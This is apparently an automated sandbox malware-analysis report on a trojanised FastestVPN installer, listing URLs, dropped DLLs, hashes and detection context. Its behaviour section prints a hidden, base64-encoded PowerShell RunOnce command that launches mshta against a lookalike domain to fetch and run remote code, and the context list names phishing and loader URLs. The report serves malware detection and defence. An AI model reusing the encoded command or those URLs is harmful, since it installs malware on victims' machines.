                                        https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8FastestVPN.exe, 00000024.00000002.3435871294.000000000C652000.00000002.00000001.01000000.00000043.sdmp, FastestVPN.exe, 00000024.00000002.3412669512.00000000060F2000.00000002.00000001.01000000.00000018.sdmpfalse
                                          		unknown
                                          http://ocsp.sectigo.com0is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drfalse
                                          • URL Reputation: safe
                                          		unknown
                                          https://github.com/dotnet/corefx/tree/c6cf790234eFastestVPN.exefalse
                                            		unknown
                                            http://ocsp.entrust.net03mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3428025746.000000000B751000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.openssl.org/Vis-0N43E.tmp.2.drfalse
                                              		unknown
                                              http://ocsp.entrust.net01mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drfalse
                                                		unknown
                                                https://fastestvpn.com/upgrade?t=ndelyNN7yduAc5EnjoyFastestVPN.exe, 00000024.00000002.3413526573.0000000006182000.00000002.00000001.01000000.0000001C.sdmpfalse
                                                  		unknown
                                                  http://ocsp.entrust.net00mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.dr, is-43KDF.tmp.2.drfalse
                                                    		unknown
                                                    http://ip-api.com/jsonFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413769590.00000000061A2000.00000002.00000001.01000000.0000001E.sdmp, is-1G987.tmp.2.drfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    https://contoso.com/Licensepowershell.exe, 0000002E.00000002.2641589469.00000000060D6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    https://fastestvpn.com/privacy-policyFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpfalse
                                                      		unknown
                                                      https://github.com/Outfitio/Outfit-Fonts)orsFastestVPN.exe, 00000024.00000002.3414817690.00000000064E4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		unknown
                                                        http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0QmapMd1URzq.exefalse
                                                          		unknown
                                                          http://ocsps.ssl.com0mapMd1URzq.exefalse
                                                            		unknown
                                                            https://github.com/aspnet/AspNetKatanaFastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3401931455.0000000004392000.00000002.00000001.01000000.0000002B.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3399394309.00000000042C2000.00000002.00000001.01000000.00000027.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3402552150.0000000004412000.00000002.00000001.01000000.00000029.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3397669187.0000000004272000.00000002.00000001.01000000.00000025.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3397155072.0000000004252000.00000002.00000001.01000000.00000024.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3400922074.0000000004362000.00000002.00000001.01000000.00000028.sdmp, is-IS5UL.tmp.2.dr, is-414AO.tmp.2.drfalse
                                                              		unknown
                                                              https://www.newtonsoft.com/jsonis-8HGA9.tmp.2.drfalse
                                                                		unknown
                                                                http://www.hardcodet.net/projects/wpf-notifyiconFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmp, FastestVPN.exe, 00000024.00000002.3414548198.000000000637A000.00000002.00000001.01000000.0000001F.sdmpfalse
                                                                  		unknown
                                                                  http://schemas.datacontract.org/2004/07/System.ServiceProcessdFastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		unknown
                                                                    https://aka.ms/pscore6powershell.exe, 00000035.00000002.2777953743.000001C200025000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    http://defaultcontainer/FastestVPN;component/Assets/Fonts/outfit-variablefont_wght.ttfdFastestVPN.exe, 00000024.00000002.3392171368.00000000037AB000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3392171368.00000000033A3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		unknown
                                                                      http://www.openssl.org/support/faq.htmlis-0N43E.tmp.2.drfalse
                                                                      • URL Reputation: safe
                                                                      		unknown
                                                                      https://github.com/dotnet/runtimeFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3411231020.0000000005E12000.00000002.00000001.01000000.00000015.sdmp, FastestVPN.exe, 00000024.00000002.3412270868.00000000060D2000.00000002.00000001.01000000.00000016.sdmp, FastestVPN.exe, 00000024.00000002.3412104144.00000000060C2000.00000002.00000001.01000000.00000017.sdmp, is-EV611.tmp.2.dr, is-29MT4.tmp.2.drfalse
                                                                        		unknown
                                                                        http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0mapMd1URzq.exefalse
                                                                          		unknown
                                                                          http://crl.entrust.net/csbr1.crl0mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drfalse
                                                                            		unknown
                                                                            http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlLicensedis-L52FN.tmp.2.drfalse
                                                                              		unknown
                                                                              https://github.com/Outfitio/Outfit-Fonts)FastestVPN.exe, 00000024.00000002.3414817690.00000000064E4000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000000.2557360869.0000000000CB2000.00000002.00000001.01000000.00000011.sdmp, FastestVPN.exe, 00000024.00000002.3424953726.0000000009542000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		unknown
                                                                                https://contoso.com/powershell.exe, 0000002E.00000002.2641589469.00000000060D6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                • URL Reputation: safe
                                                                                		unknown
                                                                                https://www.ssl.com/repository0mapMd1URzq.exefalse
                                                                                  		unknown
                                                                                  http://www.w3.oFastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		unknown
                                                                                    https://github.com/JamesNK/Newtonsoft.JsonFastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3404861040.0000000004502000.00000002.00000001.01000000.0000002F.sdmp, is-8HGA9.tmp.2.drfalse
                                                                                      		unknown
                                                                                      https://scripts.sil.org/OFLwww.rfuenzalida.comwww.fragtypefoundry.xyzRodrigoFastestVPN.exe, 00000024.00000000.2557360869.0000000000CB2000.00000002.00000001.01000000.00000011.sdmpfalse
                                                                                        		unknown
                                                                                        http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drfalse
                                                                                          		unknown
                                                                                          http://nuget.org/NuGet.exepowershell.exe, 0000002E.00000002.2641589469.00000000060D6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          • URL Reputation: safe
                                                                                          		unknown
                                                                                          http://www.apache.org/licenses/LICENSE-2.0is-L52FN.tmp.2.drfalse
                                                                                            		unknown
                                                                                            https://sectigo.com/CPS0is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drfalse
                                                                                            • URL Reputation: safe
                                                                                            		unknown

                                                                                            World Map of Contacted IPs

                                                                                            • No. of IPs < 25%
                                                                                            • 25% < No. of IPs < 50%
                                                                                            • 50% < No. of IPs < 75%
                                                                                            • 75% < No. of IPs

                                                                                            Public IPs

                                                                                            IPDomainCountryFlagASNASN NameMalicious

                                                                                            Private

                                                                                            IP
                                                                                            127.0.0.1

                                                                                            General Information

                                                                                            Joe Sandbox version:41.0.0 Charoite
                                                                                            Analysis ID:1524831
                                                                                            Start date and time:2024-10-03 10:16:12 +02:00
                                                                                            Joe Sandbox product:CloudBasic
                                                                                            Overall analysis duration:0h 11m 49s
                                                                                            Hypervisor based Inspection enabled:false
                                                                                            Report type:full
                                                                                            Cookbook file name:default.jbs
                                                                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                            Number of analysed new started processes analysed:56
                                                                                            Number of new started drivers analysed:0
                                                                                            Number of existing processes analysed:0
                                                                                            Number of existing drivers analysed:0
                                                                                            Number of injected processes analysed:0
                                                                                            Technologies:
                                                                                            • HCA enabled
                                                                                            • EGA enabled
                                                                                            • AMSI enabled
                                                                                            Analysis Mode:default
                                                                                            Analysis stop reason:Timeout
                                                                                            Sample name:mapMd1URzq.exe
                                                                                            renamed because original name is a hash value
                                                                                            Original Sample Name:17926b988b31296c26bf8fcc5be5595f8b290112949cd9314b3ddb51216a9fc6.exe
                                                                                            Detection:MAL
                                                                                            Classification:mal54.troj.spyw.expl.evad.winEXE@79/329@0/1
                                                                                            EGA Information:
                                                                                            • Successful, ratio: 88.9%
                                                                                            HCA Information:
                                                                                            • Successful, ratio: 96%
                                                                                            • Number of executed functions: 160
                                                                                            • Number of non-executed functions: 235
                                                                                            Cookbook Comments:
                                                                                            • Found application associated with file extension: .exe

                                                                                            Warnings

                                                                                            • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
                                                                                            • Excluded IPs from analysis (whitelisted): 192.229.221.95, 20.189.173.21, 184.28.90.27
                                                                                            • Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, slscr.update.microsoft.com, cacerts.digicert.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, ocsps.ssl.com, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net
                                                                                            • Execution Graph export aborted for target powershell.exe, PID 6320 because it is empty
                                                                                            • Not all processes where analyzed, report is missing behavior information
                                                                                            • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                            • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                            • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                            • Report size getting too big, too many NtSetInformationFile calls found.

                                                                                            Simulations

                                                                                            Behavior and APIs

                                                                                            TimeTypeDescription
                                                                                            04:17:47API Interceptor1x Sleep call for process: WerFault.exe modified
                                                                                            04:17:50API Interceptor1x Sleep call for process: FastestVPN.WindowsService.exe modified
                                                                                            04:17:53API Interceptor5x Sleep call for process: powershell.exe modified
                                                                                            04:17:54API Interceptor2x Sleep call for process: svchost.exe modified
                                                                                            10:17:39AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FastestVPN.lnk
                                                                                            10:17:58AutostartRun: HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNWindowsService powershell.exe -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIAMAA2AC4AYwBvAG0ALwBsAGEAdQAvAGMAbwBuAGYAaQBnAC4AcABoAHAAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A

                                                                                            Joe Sandbox View / Context

                                                                                            IPs

                                                                                            ⊘No context

                                                                                            Domains

                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                            fp2e7a.wpc.phicdn.netmnFHs2DuKg.exeGet hashmaliciousUnknownBrowse
                                                                                            • 192.229.221.95
                                                                                            https://email.mg.pmctraining.com/c/eJwkkcuSojAUhp_muJOKJyHAgoXTyMw41lxaa9TepZNwkUvoEER8-i7o3Vf5_tS5qVhRobla6XgTYBCSaMP9VRFHAWWMaKZYqJifqSALMoEkyiiXWvBsVcZaCn-jwmCtA63XQaTFmoVhuNZSURVo5RPCgJEm97pGOivKtmxzT5pmVceFc10PdAuYAqbjOHq5MXmtPWm8oQJMB1sDTT-AJqz9rc_hMPwrt93h9id50qkA5FY6oMnlyEiJ-zFZQtMkT4C8F0ATB8h1byXQL5fmu5cteUx9uGswPcwxM1ipgSaAXKr5y5GfwtqEw05apk_lGF1-zE7M8tL9rZJs_1WwTvb_j-QKyO96lo9bW7n6w07X8_j289urze-_APkgliZnmsdJRNMB-pjWMhN9UZrWWd2qft7J8l6Zyiyw3-TiuJAUnZOFWBgwvZ4fncRoODRdcUW3VU39FJfX5xUj8v49Hd5e_Ns7EqDJysaiLnvTejchK2DkXval66VxtWjVcoZ7jJ8BAAD__0X-oIkGet hashmaliciousUnknownBrowse
                                                                                            • 192.229.221.95
                                                                                            oRdgOQMxjr.exeGet hashmaliciousRedLineBrowse
                                                                                            • 192.229.221.95
                                                                                            https://globalairt.com/arull.php?7104797967704b536932307464507a53744a4c53704a7a4d77727273784c7a7453725374524c7a732f564c3477776474594841413d3dkkirkman@ssc.nsw.gov.auGet hashmaliciousHTMLPhisherBrowse
                                                                                            • 192.229.221.95
                                                                                            v173TV3V11.exeGet hashmaliciousSmokeLoaderBrowse
                                                                                            • 192.229.221.95
                                                                                            0k3ibTiMjy.exeGet hashmaliciousSmokeLoaderBrowse
                                                                                            • 192.229.221.95
                                                                                            http://www.sunsetsafaris.com.au//homeGet hashmaliciousUnknownBrowse
                                                                                            • 192.229.221.95
                                                                                            http://ryo-blog-for-life.com/Get hashmaliciousUnknownBrowse
                                                                                            • 192.229.221.95
                                                                                            https://akbb.kampanyakrediiislemleri.com/Get hashmaliciousUnknownBrowse
                                                                                            • 192.229.221.95
                                                                                            http://0f46b0f46b.briandrakebooks.com/Get hashmaliciousUnknownBrowse
                                                                                            • 192.229.221.95

                                                                                            ASNs

                                                                                            ⊘No context

                                                                                            JA3 Fingerprints

                                                                                            ⊘No context

                                                                                            Dropped Files

                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                            C:\Program Files\FastestVPN\BouncyCastle.Crypto.dll (copy)mnFHs2DuKg.exeGet hashmaliciousUnknownBrowse
                                                                                              External.exeGet hashmaliciousAdes Stealer, BlackGuard, VEGA StealerBrowse
                                                                                                newvideozones.click.ps1Get hashmaliciousUnknownBrowse
                                                                                                  use_2024_t#U043e_#U043epen.zipGet hashmaliciousUnknownBrowse
                                                                                                    JetBrains.dotPeek.2024.1.3.web.exeGet hashmaliciousUnknownBrowse
                                                                                                      JetBrains.dotPeek.2024.1.3.web.exeGet hashmaliciousUnknownBrowse
                                                                                                        EmbravaConnect.msiGet hashmaliciousPrivateLoaderBrowse
                                                                                                          lIoOSFYisn.exeGet hashmaliciousUnknownBrowse
                                                                                                            ZG17uv37pi.exeGet hashmaliciousUnknownBrowse
                                                                                                              C:\Program Files\FastestVPN\FastestVPN.BLL.dll (copy)mnFHs2DuKg.exeGet hashmaliciousUnknownBrowse

                                                                                                                Created / dropped Files

                                                                                                                C:\Program Files\FastestVPN\BouncyCastle.Crypto.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):3316968
                                                                                                                Entropy (8bit):6.532906510598102
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:49152:JIBbo0WIgmjljFtXCdRLRBcJd+KaGxHIkMNqzP56O8lZ7qXUqi9Y:6BbBWIgWljGxRB/LLY
                                                                                                                MD5:0CF454B6ED4D9E46BC40306421E4B800
                                                                                                                SHA1:9611AA929D35CBD86B87E40B628F60D5177D2411
                                                                                                                SHA-256:E51721DC0647F4838B1ABC592BD95FD8CB924716E8A64F83D4B947821FA1FA42
                                                                                                                SHA-512:85262F1BC67A89911640F59A759B476B30CA644BD1A1D9CD3213CC8AAE16D7CC6EA689815F19B146DB1D26F7A75772CEB48E71E27940E3686A83EB2CF7E46048
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Joe Sandbox View:
                                                                                                                • Filename: mnFHs2DuKg.exe, Detection: malicious, Browse
                                                                                                                • Filename: External.exe, Detection: malicious, Browse
                                                                                                                • Filename: newvideozones.click.ps1, Detection: malicious, Browse
                                                                                                                • Filename: use_2024_t#U043e_#U043epen.zip, Detection: malicious, Browse
                                                                                                                • Filename: JetBrains.dotPeek.2024.1.3.web.exe, Detection: malicious, Browse
                                                                                                                • Filename: JetBrains.dotPeek.2024.1.3.web.exe, Detection: malicious, Browse
                                                                                                                • Filename: EmbravaConnect.msi, Detection: malicious, Browse
                                                                                                                • Filename: lIoOSFYisn.exe, Detection: malicious, Browse
                                                                                                                • Filename: ZG17uv37pi.exe, Detection: malicious, Browse
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R............" ..0..r2..........&1.. ....2...... ........................2.....6Q3...@.................................G&1.O.....2..............|2.. ....2.....X.(.p............................................ ............... ..H............text....p2.. ...r2................. ..`.rsrc.........2......t2.............@..@.reloc........2......z2.............@..B................{&1.....H...........$....................(.....................................V!........s.........*.~....-*(....o....o....o.........~....-.~.........~....*..( ...*...0..G.......(!....o"....s.1....s*,..%..(.... ....o.....o 0...Zo....t....o8(..(....*..0..$..........(.....(....o.....(!.......io#...*z...(....(!....o"...o....(....*..0............T....r...p.(O....o$....(....*..0..I.......sG...sB)..s.(..s.(...(....s6(....,..o%....2...(....sV(....+.....%..ox...*..( ...*V.(&.....}......}..

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.BLL.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):30888
                                                                                                                Entropy (8bit):6.550270680442998
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:RzfFYXOvijvSGpUprWHEvgr0KnB4C7GrhIYiRSk0FP27NBY3Yuv+U:RxyOg9bxr9qaGKYi8K/Y/+U
                                                                                                                MD5:96D7E9527C5D8BDBA798F72B5FD9B94A
                                                                                                                SHA1:C9CE9813C74493084D6E3DDA37C35C8822CA381F
                                                                                                                SHA-256:6942DC9FDBB229D066BA3E1844883B9DA3EAE21F7035FFF2674C3F19C6331B55
                                                                                                                SHA-512:BE88433F513C4D9F58BDDFED57427DEC12BA0490E2D7C79176144732FBB7969956FA55B03E462C50EA3508389B3C29BC5A559F4B6002C6022C93D059C65B5C44
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Joe Sandbox View:
                                                                                                                • Filename: mnFHs2DuKg.exe, Detection: malicious, Browse
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f6............" ..0..F...........e... ........... ....................................`..................................e..O....................N...*...........d..8............................................ ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B................be......H.......\4..$0............................................................(....*..{....*"..}....*..{....*"..}....*V.(......(......(....*.0..7.........(....}.......}.......}......|......(...+..|....(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..(......(......(......(.......(....*.0..?.........(....}3......}4......}5......}2.....|3.....(...+..|3...(....*..0..7.........(....}#......}$......}".....|#.....(...+..|#...(....*..0..?.........(....}.......}

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.Common.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):70824
                                                                                                                Entropy (8bit):6.23750269831583
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:rMDv5NwVvDK0HBDk4rVHe061i/kObvmaLLJBr+tTe7TK/SB0:UorK0HBDk4rV21HObvm2LJB4eHK/SO
                                                                                                                MD5:0F7D6DEE75C3FBB958529AB6A351CBDF
                                                                                                                SHA1:1CA639AB692ECD972C51C8BF826BF9BF089359FE
                                                                                                                SHA-256:C5B07CBACD0FF045485A0A4CE6FB3CCB330A0623E3EFE347D61DA4E698FDE412
                                                                                                                SHA-512:58F0B5ED44E3290D6C9FB0E624F2A351CD5BB4744A84AC55AC47FB1B087026DE4DBAA6BBC83255EEC51A2BB3ED9A680EF53E8FC7035586B4A74CA68016AE0F5D
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... F..........." ..0.............J.... ... ....... .......................`...........`.....................................O.... ...................*...@......D...8............................................ ............... ..H............text...P.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................,.......H.......0<................................................................("...*^.("......I...%...}....*:.(".....}....*b.{....%-.&*..s#...o$...*.0..)........{.........(%...t......|......(...+...3.*....0..)........{.........('...t......|......(...+...3.*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*2.(....s)...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.DI.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):19112
                                                                                                                Entropy (8bit):6.821071301483957
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:LVVVVVwhr+vtlzIYilpm0FP27NBY3Yuv+Z:LVVVVVwhKvtl8YijnK/Y/+Z
                                                                                                                MD5:64E2269D156CA2AA5704E2E0908506F9
                                                                                                                SHA1:0F7D6EECE52D8A9A91E389736BE1092739AA3014
                                                                                                                SHA-256:B012720952E3FE9CB303E9EDB4314F924CB388D9C24FB63A968A3479113B665D
                                                                                                                SHA-512:C845E7EB96ED29C564C28D42F07F5EB81C27568F0F89C343533384BF8E704B99566EA073E46259D9F3740A7A3D41AAB5BFA78AEAB05697100B3A179F5C1EDFB6
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c............" ..0..............6... ...@....... ..............................hj....`.................................16..O....@............... ...*...`......t5..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................e6......H.......("..L............................................................~....*.......*..s....*..s....*..0..B.......(....,.*s....(....(....(....(....(....(.....(....(....(.....(....*..(...+*F.(...+(...+(...+*F.(...+(...+(...+*F.(...+(...+(...+*.0..f........(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+(...+*..(...+*...0...........-..*....8.......%o.....%o.....o........E........ ...>...+X..(....-...(....+....(......+:..(....-...

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.DI.dll.config (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):432
                                                                                                                Entropy (8bit):5.0141792226861375
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                Malicious:false
